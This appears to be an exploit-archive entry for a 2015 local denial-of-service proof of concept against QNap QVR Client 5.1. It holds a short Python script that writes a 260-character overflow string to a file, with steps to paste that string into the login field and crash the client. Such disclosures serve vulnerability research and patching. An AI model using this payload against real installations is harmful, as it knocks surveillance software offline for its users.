发布 2015-11-07 漏洞条目

QNap QVR Client 5.1.0.11290 – Crash (PoC)

Exploit Source

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# Exploit Title : QNap QVR Client 5.1.0.11290 Crash PoC

# Discovery by : Luis Martínez

# Email : l4m5@hotmail.com

# Discovery Date : 05/11/2015

# Vendor Homepage: http://www.qnapsecurity.com/n/en/

# Software Link : http://download.qnap.com/Surveillance/Utility/QMon_20150630.zip

# Tested Version : 5.1

# Vulnerability Type : Denial of Service (DoS) Local

# Tested on OS : Windows 10 Pro x64 es

# Steps to Produce the Crash:

# 1.- Run python code : python qvr_client_5.1.py

# 2.- Open qvr_client_5.1.txt and copy content to clipboard

# 3.- Open QVR Client

# 4.- Direccion IP/Puerto -> 10.10.10.1 / 80

# 5.- Paste ClipBoard on "Nombre de Usuario"

# 6.- Contraseña -> test

# 7.- Aceptar

# 8.- Crashed

buffer = "\x41" * 260

f = open ("qvr_client_5.1.txt", "w")

f.write(buffer)

f.close()

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